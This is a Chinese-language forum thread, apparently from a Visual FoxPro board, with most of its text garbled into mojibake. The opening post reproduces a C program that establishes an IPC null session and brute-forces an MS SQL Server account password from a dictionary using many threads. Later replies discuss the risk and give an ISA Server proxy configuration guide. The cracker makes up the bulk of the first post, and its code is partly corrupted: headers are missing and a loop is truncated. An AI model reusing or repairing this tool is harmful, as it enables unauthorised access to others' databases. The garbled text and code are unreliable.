 |
VFP ·R¥ÎªÌªÀ°Ï ¥»°Q½×°Ï¬° Visual Foxpro ·R¥ÎªÌ¸gÅç¥æ¬yªº¦a¤è, ½Ð¦h¦h§Q¥Î"·j´M"ªº¥\¯à, ¥ý¬d¬Ý¬Ý¦³µL«e¨Ò¥i´`, ¦pªGÁÙ¦³¤£À´ªº¦Aµo°Ý. ³¡¥÷¥DÃD¦³ªþ¥[ÀÉ®×, ¶·¥ýµù¥U¦¨¬°ªÀ°Ï©~¥Á¤~¥i¥H¤U¸ü.
|
¤W¤@½g¥DÃD :: ¤U¤@½g¥DÃD |
µoªí¤H |
¤º®e |
§Ú·Q问
µù¥U®É¶¡: 2005-11-05 ¤å³¹: 4
²Ä 1 ¼Ó
|
µoªí©ó: ¬P´Á¤é ¤Q¤@¤ë 06, 2005 8:12 am ¤å³¹¥DÃD: ¡i¦w¥þ©Êª`·N¤F¡j»·ºÝÀË´úMSSQLServer±b¸¹¦w¥þ©Ê |
|
|
»·ºÝÀË´úMSSQLServer±b¸¹¦w¥þ©Ê
¥[¤J®É¶¡¡G07¤ë11¤é 23:14 ¨Ó·½¡G§½°ìºôDIY_PC¸ê·½ÀW¹D
ODBC¬O¶}©ñ¸ê®Æ¤¬³s(Open Database Connectivity)ªºÂ²ºÙ¡A¥¦¬O¤@ӥΩ󻷺ݦs¨ú¸ê®Æ®w¡]¥Dn¬OÃö«Y«¬¼Æ¾Ú®w¡^ªº²Î¤@¤¶±¼Ð·Ç¡C¡@¡@ODBC¤U²{¹ê¹B¥Î¤¤¬O¤@Ó¸ê®Æ®wªº³X°Ý®w¡A¥¦´£¨Ñ¤F¤@²ÕODBC API¨ç¼Æ¥i¥H´£¨Ñµ¹½sµ{ªÌ¨Ï¥Î¡C¹ï©óµ{¦¡®v¨Ó»¡¡AODBC API¨ç¼Æ¶°¹ê»Ú¤Wµ¥©ó¤@ӰʺA³s±µ®w(DLL)¶°¡A¥i¥H¦bÀ³¥Îµ{¦¡¤¤ª½±µ¨Ï¥Î¥¦Ì¡C
¤@ÓÀ³¥Îµ{¦¡ª½±µ½Õ¥ÎODBC API¨ç¼Æ¨Ó¶i¦æ¸ê®Æ®wªºÀ³¥Î¤u§@¡A¤u§@¹Lµ{¤@¯ë¤ñ¸û½ÆÂø¡C¨ä¤¤¤@ºØ¿ìªk¤j·§¬O¥H¤U´X¨B¡G
<1>±Ò°ÊODBC¸ê®Æ®wÀ³¥Îµ{¦¡¡C
<2>»P¦øªA¾¹«Ø¥ßIPC SESSION¡C
<3>³Ð«Ø¸ê®Æ®wÀ³¥ÎªºÀô¹Ò±±¨î½X¡C
<4>³Ð«Ø³s±µ±±¨î½X¡C
<5>³s±µ¸ê®Æ·½¡C
<6>³Ð«Ø»y¥y±±¨î½X¡C
<7>³q¹L¤W¤@¨B³Ð«Øªº»y¥y±±¨î½X¨Ó°õ¦æSQL¾Þ§@¡C
<8>ÄÀ©ñ»y¥y±±¨î½X¡C
<9>n¶i¦æ¦h¦¹SQL¾Þ§@ªº¸Ü¡A´N°j°é¨BÆJ6-8¡C
<10>Â_¶}»P¸ê®Æ®wªº³s±µ¡C
<11>ÄÀ©ñ³s±µ±±¨î½X¡C
<12>ÄÀ©ñÀô¹Ò±±¨î½X¡C
<13>Â_¶}IPC SESSION¡C
<14>µ{¦¡µ²§ô¡C
¤U±¥H¤@Ó¹ê¨Ò¨Ó»¡©ú»·ºÝÀË´úMS SQL Server±b¸¹±K½Xªº¥þ¹Lµ{¡C¦¹µ{¦¡¥u§@§Þ³N¥æ¬y¤§¥Î¡A¦p¥Î©ó¤£ªk¥Î³~¡A§@ªÌ¤£t¥ô¦ó³d¥ô¡I
/**********************************************************
Module Name:SQLCheck.c
Date:2000.12.14
WEB:www.patching.net
Notices:Copyright(c) eyas
**********************************************************/
#include
#include
#include
#include
#include
#include
#include
#include
////////////////////////////////////////////////////////////////////////
file://©w¸qÁ`ÅéÅܼÆ
char dict[20000][40],//±K½X¦r¨å
UserName[40],//¥Î¤á¦W
target[40],//¥Ø¼Ð¦øªA¾¹
passwd[40];//¤w¸g±´´ú¥X¨Óªº¥¿½T±K½X
int total=0;//¦r¨åùر³æµü¼Æ¶q
BOOL Cracked=FALSE;//±´´ú±K½X¦¨¥\®É¦¹È¬°TRUE
HANDLE hSemaphore,//«H¼Ð¤º®Ö¹ï¶H
hEvent;//¨Æ¥ó¤º®Ö¹ï¶H
long MaxThreads,//³Ì¤j½uµ{¼Æ¶q
ActiveThreads;//¬¡°Ê½uµ{¼Æ¶q
////////////////////////////////////////////////////////////////////////
void usage(char *pragname)
{
printf("\nPower by eyas"
"\nhttp://www.patching.net"
"\n2000/12/14"
"\n\nUsage:%s "
"\nExample:%s 192.168.0.1 sa c:\\pwd.dic 50\n",pragname,pragname);
return;
}
////////////////////////////////////////////////////////////////////////
int ReadDic(char *dic)
{
FILE *fp;
char tmp[40];
file://¥´¶}¦r¨åÀÉ
if((fp=fopen(dic,"r"))==NULL)
{
printf("\nCan't open %s",dic);
return 1;
}
while(!feof(fp))
{
file://Ū¨ú¸ê®Æ¨ìÁ{®ÉÅܼÆ
if(fgets(tmp,40,fp)==NULL)
break;
file://§â±qÀÉùرŪ¥X¨Óªº³Ì«á¤@¦ì¤¸¸ê®Æ[´«¦æ²Å¸¹]¥h±¼
strncpy(dict[total],tmp,strlen(tmp)-1);
total++;
if(total>=19999)
break;
}
fclose(fp);
return 0;
}
////////////////////////////////////////////////////////////////////////
int ConnIPC(char *RemoteName)
{
NETRESOURCE nr;
DWORD flags=CONNECT_UPDATE_PROFILE;
TCHAR RN[30]="\\\\",
LN[5]="";
strcat(RN,RemoteName);
strcat(RN,"\\ipc$");
nr.dwType=RESOURCETYPE_DISK;
nr.lpLocalName=(LPTSTR)&LN;
nr.lpRemoteName=(LPTSTR)&RN;
nr.lpProvider=NULL;
if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR)
{
return 0;
}
else
{
return 1;
}
}
////////////////////////////////////////////////////////////////////////
int DelIPC(char *RemoteName)
{
DWORD ret;
TCHAR lpName[30]="\\\\";
strcat(lpName,RemoteName);
strcat(lpName,"\\ipc$");
ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);
if(ret==NO_ERROR)
{
return 0;
}
else
{
return 1;
}
}
////////////////////////////////////////////////////////////////////////
DWORD WINAPI SQLCheck(PVOID pPwd)
{
file://©w¸q§½³¡ÅܼÆ
char szBuffer[1025];
char *pwd;
SWORD swStrLen;
SQLHDBC hdbc;
SQLHANDLE henv;
SQLRETURN retcode;//ODBC API¹B¦æªð¦^È
SCHAR ConnStr[200];//³s±µ¸ê®Æ®w¦r¦ê
long PreviousCount;
file://¨ú±o¶Ç»¼¹L¨Ó·Ç³Æ±´´úªº±K½X
pwd=(char *)pPwd;
file://ºc³y³s±µ¸ê®Æ®w¦r¤¸
sprintf(ConnStr,"DRIVER={SQL Server};SERVER=%s;UID=%s;PWD=%s;DATABASE=master",
target,UserName,pwd);
file://puts(ConnStr);
__try{
file://³Ð«Ø¸ê®Æ®wÀ³¥ÎªºÀô¹Ò±±¨î½X
if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS)
{
printf("\nAllocate environment handle failed.\n");
ExitProcess(1);
}
file://³]¸mODBCª©¥»Àô¹Ò
if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
{
printf("\nSet the ODBC version environment attribute failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV, henv);
ExitProcess(1);
}
file://³Ð«Ø³s±µ±±¨î½X
if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
*)&hdbc)) != SQL_SUCCESS)
{
printf("\nAllocate connection handle failed.\n");
SQLFreeHandle(SQL_HANDLE_ENV, henv);
ExitProcess(1);
}
file://³s±µ¸ê®Æ·½
retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),
szBuffer,sizeof(szBuffer),&swStrLen,
SQL_DRIVER_COMPLETE_REQUIRED);
if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO)
{
file://³s±µ¥¢±Ñ¡A¨ç¼Æ²×¤î
file://printf("\nCouldn't connect to %s MSSQL server.\n",target);
}
else
{
file://³s±µ»·ºÝMSSQL Server¸ê®Æ®w¦¨¥\
Cracked=TRUE;
strncpy(passwd,pwd,sizeof(passwd));
file://Â_¶}³s±µ
SQLDisconnect(hdbc);
}
}//end of tyr
__finally{
file://ÄÀ©ñ³s±µ±±¨î½X
SQLFreeHandle(SQL_HANDLE_DBC, hdbc);
file://ÄÀ©ñÀô¹Ò±±¨î½X
SQLFreeHandle(SQL_HANDLE_ENV, henv);
file://¹ï«H¼Ð·í«e¸ê·½¼Æ¶q¶i¦æ»¼¼W1¡A¨Ã¨ú±o·í«e¸ê·½¼Æ¶qªºì©lÈ
ReleaseSemaphore(hSemaphore,1,&PreviousCount);
file://pºâ·í«e¬¡°Ê½uµ{¼Æ¶q
ActiveThreads=MaxThreads-PreviousCount-1;
file://printf("\nActiveThreads-->%d.",ActiveThreads);
file://¦pªG¬¡°Ê½uµ{¼Æ¶q¬°0,¨º»ò±N¨Æ¥ó¤º®Ö¹ï¶HhEvent§ï¬°¤w³qª¾ª¬ºA¡Aµ{¦¡µ²§ô
if(ActiveThreads==0)
{
SetEvent(hEvent);
}
}//end of finally
return 0;
}
////////////////////////////////////////////////////////////////////////
int main(int argc,char **argv)
{
HANDLE hThread;//½uµ{±±¨î½X
DWORD dwThreadId,dwRet;
int i=0,err=0;
clock_t start,end;//µ{¦¡¹B¦æªº°_©l©Mµ²§ô®É¶¡
double duration;
if(argc!=5)
{
usage(argv[0]);
return 1;
}
file://¨ú±o¥Ø¼Ð¦ì§}¡A¥Î¤á¦W
strncpy(target,argv[1],sizeof(target));
strncpy(UserName,argv[2],sizeof(UserName));
file://¨ú±o¨ÃÀˬd¥Î¤á¿é¤Jªº³Ì¤j½uµ{¼Æ¶q
MaxThreads=atol(argv[4]);
if((MaxThreads>100) || (MaxThreads<1))
{
usage(argv[0]);
return 1;
}
file://Ū¨ú¦r¨å¤¤ªº³æµü¨ì°O¾ÐÅ餤
if(ReadDic(argv[3])!=0)
return 1;
file://»P¥Øªº¾÷¾¹«Ø¥ßIPC Session
if(ConnIPC(argv[1])!=0)
{
printf("\nCan't built IPC NULL Session!");
return 1;
}
else
{
printf("\nBuilt IPC NULL Session success!\n");
}
file://³Ð«Ø«H¼Ð¤º®Ö¹ï¶H,³Ì¤j¸ê·½¼Æ¶q©M¥i¥H¨Ï¥Îªº¸ê·½¼Æ¶q§¡¬°MaxThreads
hSemaphore=CreateSemaphore(NULL,MaxThreads,MaxThreads,NULL);
if(hSemaphore==NULL)
{
printf("\nCreateSemaphore() failed.ErrorCode:%d.",GetLastError());
return 1;
}
file://³Ð«Ø¨Æ¥ó¤º®Ö¹ï¶H[¤H¤u«¸m¡Aªì©lª¬ºA¬°¥¼³qª¾]
hEvent=CreateEvent(NULL,TRUE,FALSE,NULL);
if(hEvent==NULL)
{
printf("\nCreateEvent() failed.ErrorCode:%d.",GetLastError());
CloseHandle(hSemaphore);
return 1;
}
file://¶}©lp®É
start=clock();
file://¶}©l«Ø¥ß½uµ{±´´ú±K½X
for(i=0;i {
file://±´´ú±K½X¦¨¥\«á¸õ¥X¦¹°j°é
if(Cracked==TRUE)
break;
file://Åã¥Ü¶i«×¸ê°T
printf("\n[%d/%d] %s -> %s -> %s",i+1,total,target,UserName,dict);
file://³Ð«Ø½uµ{
hThread=CreateThread(NULL,0,SQLCheck,(PVOID)&dict,0,&dwThreadId);
file://³B²z³Ð«Ø½uµ{¿ù»~ªº±¡ªp
if(hThread==NULL)
{
err++;
MessageBox(NULL,"thread error","error",MB_OK);
if(err>=50)
break;
}
CloseHandle(hThread);
Sleep(10);
file://µ¥«Ý«H¼Ð¤º®Ö¹ï¶H³qª¾¡A¥i¥Î¸ê·½¼Æ¶q¤j©ó0«hÄ~Äò³Ð«Ø½uµ{¡Aµ¥©ó0«h½uµ{¶i¤Jµ¥«Ýª¬ºA
WaitForSingleObject(hSemaphore,INFINITE);
}
file://µ¥«Ý¨Æ¥ó¤º®Ö¹ï¶H³qª¾,³Ì¦hµ¥«Ý3¤ÀÄÁ
dwRet=WaitForSingleObject(hEvent,180000);
switch(dwRet)
{
case WAIT_OBJECT_0:
printf("\nAll thread done.");
break;
case WAIT_TIMEOUT:
printf("\nWait time out.Exit.");
break;
case WAIT_FAILED:
printf("\nWaitForSingleObject() failed.");
break;
}
file://Â_¶}»P¥Øªº¾÷¾¹ªºIPC Session
DelIPC(target);
file://±´´ú±K½X¦¨¥\«á¦^Åã¸ê°T
if(Cracked==TRUE)
printf("\n\nSuccess!%s SQL Server User [%s] passwd is [%s].",target,UserName,passwd);
file://°O®Éµ²§ô
end=clock();
file://Âà´«®É¶¡®æ¦¡
duration = (double)(end - start) / CLOCKS_PER_SEC;
file://Åã¥Ü©Ò¥Î®É¶¡
printf("\n\nComplete.Use %2.1f seconds.\n",duration);
return 0;
}
////////////////////////////////////////////////////////////////////////
µ{¦¡¦bwindows2000,vc++6.0Àô¹Ò¤U½sͳq¹L¡C |
|
¦^³»ºÝ |
|
 |
bin1x
µù¥U®É¶¡: 2004-08-27 ¤å³¹: 462
²Ä 2 ¼Ó
|
µoªí©ó: ¬P´Á¤é ¤Q¤@¤ë 06, 2005 10:45 am ¤å³¹¥DÃD: |
|
|
§t¤J¤°»òÀÉÀYÀɤ]¨S¼g
«ç»òª±! |
|
¦^³»ºÝ |
|
 |
§Ú·Q问
µù¥U®É¶¡: 2005-11-05 ¤å³¹: 4
²Ä 3 ¼Ó
|
µoªí©ó: ¬P´Á¤é ¤Q¤@¤ë 06, 2005 4:39 pm ¤å³¹¥DÃD: |
|
|
³o ¤£¬O ¡§«ç»òª±¡¨ªº°ÝÃD¡AÃöÁä¬O§Ú̫إߪº¯ÂC/S¬[ºc·|³o¼Ë³Q§ðÀ»¡A¬Æ¦Ü³Q·´±¼ |
|
¦^³»ºÝ |
|
 |
§Ú·Q问
µù¥U®É¶¡: 2005-11-05 ¤å³¹: 4
²Ä 4 ¼Ó
|
µoªí©ó: ¬P´Á¤é ¤Q¤@¤ë 06, 2005 6:10 pm ¤å³¹¥DÃD: |
|
|
«e¨¥
C/Sµ{¦¡¶}µo¤è¦¡¡A¶}µo¤u¨ã²³¦h¡A¶}µo®Ä²v°ª¡A¯ÊÂI¬O¤@¯ë¬O¨â¼hÅé¨t¡A¦b¼s°ìºô¤WÀ³¥Îªº®ÉÔ¦w¥þ©Ê«ÜÃø«OÃÒ¡C
B/Sµ{¦¡¶}µo¤è¦¡¡A¤@¯ëÀ³¥Î¼s°ìºô¡A¦w¥þ©Ê¸û°ª¡A¦ý¬O¥Ñ©ó°w¹ï¬yÄý¾¹¤è¦¡ªº¶}µo¡A¹ï©ó²³æÀ³¥Î¡A¶}µo®Ä²vÁÙ¥i¥H¡A¹ï©ó½ÆÂøªºÀ³¥Î¥H¤Î¾Þ§@¡A»Ýn½s¼g¤¤¶¡¼h¤¸¥ó¡A¶}µo®Ä²v¸û®t¡C
¦p¦ó¯à°÷¦b¼s°ìºôªºÀ³¥ÎÅé¨t¤¤±Ä¥Î¶Ç²Îªº§½°ìºôC/S¶}µo¤è¦¡¡A´£°ª¶}µo®Ä²v¡A§ïµ½¤¶±¤Í¦n©Ê¥H¤Î¨}¦nªº¥i¾Þ§@©Ê¡A³o´N¬O¥»½g¤å³¹©Òn¸Ñ¨Mªº°ÝÃD¡C¨Ï¥ÎISA§@¬°SQL SERVERªº¥N²z¦øªA¾¹»P¨¾¤õÀð¡A©Ò¦³¥~³¡¸ê®Æ®w³X°Ý³q¹LISA¶i¦æ¥N²z¡A¥~³¡³X°Ý³s±µ¨Ã¤£ª½±µ³s±µ¨ì¸ê®Æ®w¦øªA¾¹¡A¦Ó¬O³s±µ¨ìISA¦øªA¾¹¤W¡AISA¦øªA¾¹±N¥~³¡½Ð¨D«·s©w¦V¨ìSQL¦øªA¾¹¤W¡AÁôÂäFSQL¦øªA¾¹¡A«OÅ@¸ê®Æªº¦w¥þ©Ê¡C¥~³¡½Ð¨D¤£»Ýnª¾¹DSQL¦øªA¾¹¦W¥H¤Î¦ì§}¡A¥un±NISA¦øªA¾¹·í§@SQL¦øªA¾¹¶i¦æ½Ð¨D¡A¹ï©ó¥~³¡¸ê®Æ½Ð¨D¡A¥ÑISA¦øªA¾¹¨Ó¶i¦æ§PÂ_¬O§_³s±µ¥H¤Î¦p¦ó³B²z¡A¹ï©ó¦Xªkªº³s±µ¡A¥L¬O³z©úªº¡A¦n¹³¬O»P¸ê®Æ®w¦øªA¾¹ª½±µ³s±µ¤@¼Ë¡C
ISA¡BSQL Server²¤¶
Microsoft Internet Security & Acceleration Server 2000
---- Microsoft¤½¥qMicrosoft Internet Security & Acceleration Server´£¨Ñ±j¤jªº¦w¥þ©Mºô¸ô¥[³t¥\¯à¡C¥¦¨ã¦³°ò©óµ¦²¤ªº¦w¥þ¡B³t«×©Mºô¸ôºÞ²zªº¯S¼x, »PWindows 2000§@·~¨t²ÎµLÁ_¶°¦¨¡A¬O¤@Ө㦳°ª«×¥i¦ùÁY©Êªº¥ø·~Internet¨¾¤õÀð©M°ª³tWeb½w½Ä°O¾ÐÅé¡C
---- MicrosoftªºISA Server´£¨Ñ«O±K¡B°ª³t¡B©ö³B²zInternetªº³s±µ¡C³q¹L¨Ï¥ø·~Internet ¨¾¤õÀð©M°ª©Ê¯àªº°ª³t½w½Ä°O¾ÐÅé¥\¯àµ²¦X¡A¥i¥H±NWindows 2000 ªº¦w¥þ¡B¥Ø¿ý¡B¦³®ÄªºÓ¤H±M¥Îºô¸ô©M§Q¥ÎªA°Èªº«~½è¥H¤Î²¤Æ³B²z¥ô°Èªº±a¼e±±¨îºò±K¦aµ²¦X°_¨Ó¡C
Microsoft SQL Server 2000
---- SQL Server 2000¬O¬°³Ð«Ø¥i¦ùÁY¹q¤l°Ó°È¡B½u¤W°Ó°È©M¸ê®ÆÜÀx¸Ñ¨M¤è®×¦Ó³]pªº¯u¥¿·N¸q¤WªºÃö«Y«¬¼Æ¾Ú®wºÞ²z»P¤ÀªR¨t²Î¡C
---- Microsoft SQL Server 2000°w¹ï¥]¬A¶°¦¨¸ê®Æ«õ±¸¡BOLAPªA°È¡B¦w¥þ©ÊªA°È¤Î³q¹LInternet¹ï¦hºû¸ê®Æ¶°¶i¦æ³X°Ý©MÃìµ²µ¥¦b¤ºªº¤ÀªRªA°È´£¨Ñ¤F·sªº¸ê®ÆÜÀx¥\¯à¡C
---- °£¤F´£¨Ñ¹q¤l°Ó°È©Ò»Ýªº¥i¦ùÁY©Ê»P¥iÂX®i©Ê¤§¥~¡ASQL Server 2000ÁÙ´£¨Ñ¤FÂ×´Iªº°ò©óWeb¼Ð·Ç¸ê®Æ®w½sµ{¥\¯à¡A¥H½T«O¨t²Îªº¨ó¦P¤u§@©MÆF¬¡©Ê¡C»P¦¹¬ÛÃö¡ASQL Server 2000ÁÙ¥]¬AÂ×´IªºXML¡BW3C¼Ð·Ç¤ä´©¡C¨ã¦³³q¹LTransact SQL¹ê²{ªºXML¸ê®Æ¾Þ§@¯à¤O¡BÆF¬¡¦Ó±j¤jªºWeb¤ÀªR¥\¯à¥H¤Î¨Ï¥ÎHTTP¶i¦æªº¦w¥þWeb¸ê®Æ³X°Ý¥\¯à¡C
ISA¡BSQL Serverªº¦w¸Ë
Microsoft Internet Security & Acceleration Server 2000
1. ¦w¸Ë®É¡A½Ðª`·N½T«O¹q¸£º¡¨¬ Microsoft Internet Security & Acceleration Server 2000 ªº¨t²În¨D¡C¦³Ãö§ó¦h¸ê°T¡A½Ð°Ñ¨£ Microsoft Internet Security & Acceleration Server 2000 ªºµwÅé©M³nÅé¦w¸Ën¨D¡C
2. ¦w¸Ëºô¥d¡B¼Æ¾Ú¾÷¡]©Î¬OISDNµ¥¡^³s±µ¤º³¡§½°ìºô©M¥~³¡¤¬Ápºô¡C
3. ³]¸mTCP/IP¡A³]¸m¤º³¡¥~³¡IP¦ì§}¡C¸Ô±¡°Ñ¨£§Þ³N¤â¥U¡C
4. ¹B¦æ¦w¸Ë½L¤WªºISA Server Enterprise Initialization¡A¹ï°Ñ¼Æ¶i¦æ³]¸m¡C
l Array policy only. Select Use array policy only if each array should have its own policy, which can be administered by the array administrator.
l Enterprise policy only. Select Use this enterprise policy and type the name of the enterprise policy. In this case, the same enterprise policy will be applied to all the arrays in the enterprise. Unique access policies cannot be defined for each array in the enterprise. No rules can be defined at the array level.
l Combined enterprise and array policy. Select Use this enterprise policy and Allow array-level access rules to restrict enterprise policy. In this case, array administrators can define rules that further restrict the enterprise policy. For example, if the enterprise policy allows access to all sites, array administrators could refine that policy, by creating rules denying access to specific sites.
l If array administrators are allowed to publish internal servers, making those servers accessible to external (Internet) clients, then select Allow publishing rules to be created on the array.
l Select Use packet filtering on the array if packet filtering should always be enabled for the arrays in the enterprise. If you select this option, then the array administrator will not be able to disable packet filtering.
When ISA Server Enterprise Initialization is finished, the ISA Server schema is installed to Active Directory. You can now install ISA Server as an array member, creating the array that the ISA Server should join.
Note
The array creation process takes place when you install ISA Server on the first computer in the array. The information that is added to the Active Directory may take some time to replicate to all domain controllers. Therefore, if you receive an error message during installation that the ISA Server schema has not been installed, even though you have installed it, you must wait until the schema change has been replicated to the local domain controller.
Important
You must install the Windows 2000 Service Pack 1 or later before you install ISA Server.
If the computer on which you are installing ISA Server is not part of a Windows 2000 domain, then ISA Server will be installed as a stand-alone server. You can subsequently add the server to a Windows 2000 domain, and then join it to an array.
The first server in the new array defines a new array in Active Directory. You should allow sufficient time for the array information to replicate throughout the site before you add more members to the array.
When you install an ISA Server computer as a member of an existing array, you must install it in the same mode as the other array members. For example, if all the servers in the array were installed in firewall mode, then the new ISA Server computer must also be installed in firewall mode. The new ISA Server computer adopts the array's enterprise settings, access policy, publishing policy, and monitoring configuration.
You can select the disk drives that are available for caching during ISA Server installation. By default, the setup process searches for the largest NTFS partition and sets a default cache size of 100 megabytes (MB) if there are at least 150 MB available. When configuring the cache drives, you must, at a minimum, allocate at least one NTFS drive, setting aside at least 5 MB on that drive for caching. However, it is recommended that you allocate at least 100 MB and add 0.5 MB for each client that uses the HTTP or FTP protocols, rounded up to the nearest full megabyte.
The local address table (LAT) is a table of all IP address ranges used by the internal network behind the ISA Server computer. ISA Server uses the LAT to control how machines on the internal network communicate with external networks and decides which network adapters should be protected by loading the packet filter driver.
ISA Server can construct the LAT for you by basing it on your Windows 2000 routing table. You can also select the private IP address ranges, as defined by the Internet Assigned Numbers Authority (IANA) in RFC 1918. These three blocks of addresses are reserved for private intranets and are never used on the public Internet.
When creating a LAT, you should only include addresses on the private network. This means that you should not add the external interface of the ISA Server computer, any Internet sites, or any other external addresses including the DNS server at your Internet service provider, and so forth. An incorrect configuration of the LAT could make your network vulnerable to attacks.
The LAT is managed centrally, because it is maintained on the ISA Server computer. Firewall clients automatically download and receive LAT updates at preset, regular intervals.
Microsoft SQL Server 2000 ¡]¸Ô²Ó±¡ªp°Ñ¨£¥Õ¥Ö®Ñ¡^
1. ¦w¸Ë®É¡A½Ðª`·N½T«O¹q¸£º¡¨¬ Microsoft SQL Server 2000 ªº¨t²În¨D¡C¦³Ãö§ó¦h¸ê°T¡A½Ð°Ñ¨£ SQL Server 2000 ªºµwÅé©M³nÅé¦w¸Ën¨D¡C
2. ¦b¹B¦æ Microsoft Windows NT ©Î Micorsoft Windows 2000 ªº¹q¸£¤W¦w¸Ë SQL Server 2000¡A¨Ã¥B§Æ±æ SQL Server 2000 »P¨ä¥L¥Î¤áºÝ©M¦øªA¾¹³q°T¡A«h³Ð«Ø¤@өΦhÓ°ì¥Î¤á±b¤á¡C¦³Ãö§ó¦h¸ê°T¡A½Ð°Ñ¨£ ³Ð«Ø¦w¥þ±b¤á
3. ¥Î¨ã¦³¥»¦aºÞ²z³\¥iÅvªº¥Î¤á±b¤áµn¿ý¨ì§@·~¨t²Î¡A©ÎªÌµ¹°ì¥Î¤á±b¤á«ü¬£¾A·íªº³\¥iÅv¡C
4. Ãö³¬©Ò¦³©M SQL Server ¬ÛÃöªºªA°È¡C¥]¬A©Ò¦³¨Ï¥Î ODBC ªºªA°È¡A¦p Microsoft Internet Information ªA°È (IIS)¡C
5. Ãö³¬ Microsoft Windows NT ¨Æ¥ó¬d¬Ý¾¹©Mµù¥Uªí¬d¬Ý¾¹¡]Regedit.exe ©Î Regedt32.exe¡^¡C
ISA¡BSQL SERVERªº°t¸m
1. °t¸mSQL Server TCP/IPºô¸ô¨ó©w
¨Ï¥ÎSQL Server Network Utility¤u¨ã¶i¦æ°t¸m¡A±Ò¥ÎTCP/IP¨ó©w¡A²K¥[WinSocket¥N²z¡A³]¸m¥N²z¦øªA¾¹ªºIP¦ì§}¬°ISA¦øªA¾¹ªº¥~³¡IP¦ì§}¡C³]¸mSQL Server¨Ï¥Îªº°ð¡C
ª`·N¡G¦pªG³]¸mªºIP¦ì§}¬OISA¦øªA¾¹ªº¤º³¡IP¦ì§}¡A¨º»ò±N¤£°_§@¥Î¡I¡I
2. ¦bSQL Server¦øªA¾¹¤W³Ð«ØWspcfg.ini¤å¥ó
Àɤº®e¡G
[sqlservr]
ServerBindTCPPorts=1433
Persistent=1
KillOldSession=1
±NÀÉ«O¦s¦b»PSqlservr.exe¬Û¦Pªº¸ô®|¤U¡C¦pªG¦b²Ä¤@¨B³]¸mªº°ð¤£¬O1433¡A±NServerBindTCPPorts=1433ק令¬°²Ä¤@¨B©Ò³]¸mªº°ð¡C
3. SQL Server¦øªA¾¹ºÝ¦w¸ËFiewwall¥Î¤áºÝ
³s±µISA¦øªA¾¹¡A¬d§äMSPCLNT¦@¥Î¥Ø¿ý¡A¦w¸ËFiewwall¥Î¤áºÝ¡A³oÓ¦@¥Î¥Ø¿ý¬O¦w¸Ë§¹ISA¤§«á¦Û°Ê¦@¥Îªº¡C
4. «·s±Ò°ÊSQL Server¦øªA¾¹
5. ³]¸mISAªºNetworkªºLAT
²K¥[SQL Server»PISA¦øªA¾¹ªº¤º³¡IP¦ì§}¨ìLAT¤¤¡C
6. ³]¸mPublishingÄݩʪºServer Publishing Rules
¨Ï¥ÎPublish a Server¡A³]¸m¤@Óµo§G¦WºÙ¡A¶ñ¼gInternal ServerªºIP¬°SQL Server¦øªA¾¹ªº¤º³¡IP¦ì§}¡A¶ñ¼gISA ServerªºIP¦ì§}¬°ISA¦øªA¾¹ªº¥~³¡IP¦ì§}¡A³]¸mMapped Server Protocol¬°Microsoft SQL Server¡C³]¸m³X°Ý³W«h¡C
7. ¦b»Ýn³X°Ýªº¥~³¡¥Î¤áºÝ¶i¦æ´ú¸Õ
1. °t¸m¥Î¤áºÝªºhostsÀÉ¡A¶ñ¼gISA¦øªA¾¹ªº¥~³¡IP¦ì§}»P¾÷¾¹¦W¡C
2. ¨Ï¥ÎPing.exe¶i¦æ´ú¸Õ¡A¬Ý¬O§_¯à°÷³s³q(Ping xxxServer).
3. ¨Ï¥ÎSQL Server¥Î¤áºÝ©Î¬O¨ä¥L¤u¨ã¶i¦æ³s±µ´ú¸Õ¡A¨Ï¥Îªº¦øªA¾¹¦WºÙ¬°ISA¦øªA¾¹ªº¦WºÙ¡C |
|
¦^³»ºÝ |
|
 |
bin1x
µù¥U®É¶¡: 2004-08-27 ¤å³¹: 462
²Ä 5 ¼Ó
|
µoªí©ó: ¬P´Á¤@ ¤Q¤@¤ë 07, 2005 9:14 am ¤å³¹¥DÃD: |
|
|
¤£¥u¬O¦w¥þ©Êªº°ÝÃD§a
Ó¤H¤]´¿¸g±Nsql server ¥H¯u¹êip ©ñ¨ìºô¸ôùئs¨ú
¥u¬O±q¥x¤¤¨ì]®ß,¬O¥i¥H¦s¨ú
³t«×«ÜºC,
©Ò¥Hn¦s¨ú¸ê®Æ®w,ÁÙ¬O»¡¸ò¼gªk¦³Ãö
·í¸ê®Æ®wÅܱo«Ü¤j®É,Àt³t´N¥X²{¤F
¥Hremote access ·í¦¨terminal ¨Ó¦s¨ú¦ü¥G¦¨¤F¸Ñ¨Mªº¤èªk
¦ý
½Ö¯à§i¶D§Ú
³o©Munix ¦³¤°»ò¤£¦P,¨ä¹êunix À³¸Ó¤]¥i¥H±NÅçÃÒ¥D¾÷©M¸ê®Æ®w¥D¾÷¤À¶}§a
ÁÙ¦³ibm as400ªºù,³£¹³¤@Ó¿v°_°ªÀ𪺾ÀÂS,¥H¹w¨¾·L³n¦p¦P´²§L´å«i¯ëªº§ðÀ»
(§Ú¬O«ü·s¨t²ÎÂ઺§ð¨¾¾Ô) |
|
¦^³»ºÝ |
|
 |
|
|
±z µLªk ¦b³oÓª©±µoªí¤å³¹ ±z µLªk ¦b³oÓª©±¦^ÂФ峹 ±z µLªk ¦b³oÓª©±½s¿è¤å³¹ ±z µLªk ¦b³oÓª©±§R°£¤å³¹ ±z µLªk ¦b³oÓª©±¶i¦æ§ë²¼ ±z µLªk ¦b³oÓª©±ªþ¥[ÀÉ®× ±z µLªk ¦b³oÓª©±¤U¸üÀÉ®×
|
Powered by phpBB © 2001, 2005 phpBB Group ¥¿Å餤¤å»y¨t¥Ñ phpbb-tw ºûÅ@»s§@
|